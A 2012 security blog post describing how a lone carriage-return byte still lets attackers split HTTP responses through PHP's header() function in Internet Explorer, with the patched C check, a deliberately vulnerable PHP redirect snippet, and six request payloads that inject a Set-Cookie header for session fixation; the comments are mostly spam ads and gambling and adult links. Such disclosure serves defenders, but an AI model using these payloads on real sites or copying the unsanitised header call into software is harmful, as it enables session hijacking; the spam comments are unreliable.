четверг, 23 августа 2012 г.

PHP multiple headers bypass available again

Recenlty we wrote about universal PHP bypass for header() function.
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
http://php.net/ChangeLog-5.php
Version 5.3.11  
Fixed bug #60227 (header() cannot detect the multi-line header with CR). 
 https://bugs.php.net/bug.php?id=60227 is original bug
And what about fix?

                for (i = 0; i < header_line_len; i++) {
                        /* RFC 2616 allows new lines if followed by SP or HT */
                        int illegal_break =
                                        (header_line[i+1] != ' ' && header_line[i+1] != '\t')                                        && (
                                                header_line[i] == '\n'
                                                || (header_line[i] == '\r' && header_line[i+1] != '\n'));
Pay your attention to red line.

And as we wrote before, bug still available for Internet Explorer.

Source code:
<?php
header("Location: /?asd".$_GET['r']);
?>
Attack vectors:
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1

29 комментариев:

  1. Этот комментарий был удален автором.

    ОтветитьУдалить

  2. Благодарю. Это действительно очень помогло мне.
    https://errorcheck.net/

    ОтветитьУдалить
  3. Students find Nursing Critical Care Essay Services as being of great assistance since they are able to seek our nursing research paper writing services and nursing essay writing help services on time.

    ОтветитьУдалить
  4. Faisalabad is one of the biggest cities in Pakistan and the hub of the textile industry. It is widely acknowledged as the Manchester of Pakistan due to its large industrial role. The quality of the fabrics produced in this city has no parallel. In fact, the fabric is something of a specialty of Faisalabad. Many people from all over the country flock to this city for a spot of cloth shopping. We aim to provide you all of the best of Faisalabad at our store. buy pakistani lawn suits online , online lawn clothes shopping in pakistan ,

    ОтветитьУдалить
  5. ngobrol games In terms of durability, Tigreal can still lose versus other tanks. But Tigreal was one of the finest for business disruption and crowd management. Tigreal creates fantastic killing opportunities to make a wipe happen in the enemy team with to his slow, stunning and vacuum abilities. Furthermore, Tigreal may easily disturb the core of the opponent from the early game with its lengthy assault distance.

    ОтветитьУдалить
  6. I blog often and I truly appreciate your content.
    야설

    Feel free to visit my blog :
    야설

    ОтветитьУдалить
  7. This great article has truly peaked my interest.
    일본야동
    Feel free to visit my blog : 일본야동

    ОтветитьУдалить
  8. I’m going to bookmark your site and keep checking for new details about once per week.
    국산야동
    Feel free to visit my blog : 국산야동

    ОтветитьУдалить
  9. Cara mengecilkan perut sebagai salah satunya sisi dari badan kita yang mempunyai karakter plastis. Ngobrol Sehat Selainnya karakternya yang plastis, perut ialah tempat di mana bertumpuknya lemak. Hal itu mengakibatkan perut gampang molor dan pada akhirannya jadi buncit. Ngobrol Sehat Perut buncit bukan hanya diketemukan ke orang yang alami kegemukan, tetapi bisa juga diketemukan ke orang yang mempunyai tubuh bagus. Tidaklah aneh jika saat ini beberapa orang yang cari cara mengecilkan perut buncit mereka.

    ОтветитьУдалить
  10. فوائد عزل المنزل
    يوجد العديد من الفوائد التي يمكن الحصول عليه نتيجة القيام بعزل المنازل، ومن أهم هذه الفوائد ما يأتي: التقليل من انتقال الطاقة الحرارية من خلال الأسطح، والأرضيات، والجدران؛ مما يعمل على المحافظة على درجة حرارة المنزل صيفاً، وشتاءًالحد من المشكلات التي تتسبب بها الحشرات، عن طريق استخدام كتل رغوية معالجة بالمبيدات الحشرية مما يمنع وصولها إلى المنزل

    شركة عزل اسطح بتبوك

    الخزانات من أهم الأشياء التي لابد من وجودها في المنزل ، و ذلك لأنها تعمل على حفظ المياه باستمرار في وقت انقطاعها ، و كذلك تعمل على حفظها بجودة عالية ، و هناك العديد من الشركات التي توفر خدمات عزل الخزانات و منها على سبيل المثال شركة المتميز
    الشركة تعمل على توفير العديد من الخدمات المميزة ، و من بينها مختلف أعمال الصيانة ، هذا بالإضافة إلى توفير العديد من الخدمات التي تتمثل في العزل سواء العزل المائي أو الحراري و غيرها ، كذلك توفر الشركة خدمات مميزة تتعلق بعزل الخزانات ، و ذلك بالاعتماد على تقنيات عالية الجودة ، هذه التقنيات لا تتفاعل مع المياه و لا تؤثر على جودتها ، و يتم انتقائها تبعا لنوع الخزان سواء كان بلاستيك أو خرساني و كذلك سواء كان سط

    شركة عزل خزانات بالاحساء

    ОтветитьУдалить
  11. Этот комментарий был удален автором.

    ОтветитьУдалить
  12. You should take part in a contest for one of the best blogs on the web. I will recommend this site!

    Addandclick.com
    Information
    Click Here
    Visit Web

    ОтветитьУдалить

  13. As a beginner, you can't go wrong with a PSE Stinger MAX compound bow.Noisy https://www.powertoolsreport.com/ Best MIG Welder under 500 without a stabilizer A string stop is not includedThe grip is wider than average The Original Genesis Compound Bow ReviewSALEGENESIS Original Bow - RH Blue GENESIS

    ОтветитьУдалить
  14. I went over this internet site and I think you have a lot of great info , saved to favorites. 바카라사이트탑

    ОтветитьУдалить
  15. Rattling wonderful visual appeal on this web site, I’d value it 10 over 10.
    바카라사이트비즈

    ОтветитьУдалить
  16. เกมสล็อตออนไลน์ สนุกสุดมันส์ ค่ายเกมที่ดีอันดับ1 ket123
    แอปเล่นเกมสล็อต
    ket123

    ОтветитьУдалить
  17. PG SLOT APP คือแอปพลิเคชันใหม่ล่าสุดของทางค่าย PG SLOT พัฒนามารองรับการเข้าใช้งานลูกค้า หลังมีกระแสเรียกร้องมาอย่างถล่มทลาย ให้คุณไม่ต้อง Login
    คืนยอดเสียค่าย PG
    ket123

    ОтветитьУдалить
  18. Please let me know if you’re looking for a article writer for your site. You have some really great posts and I feel I would be a good asset. If you ever want to take some of the load off, I’d absolutely love to write some material for your blog in exchange for a link back to mine. Please send me an email if interested. Thank you 먹튀사이트 I couldn't think of this, but it's amazing! I wrote several posts similar to this one, but please come and see!!

    ОтветитьУдалить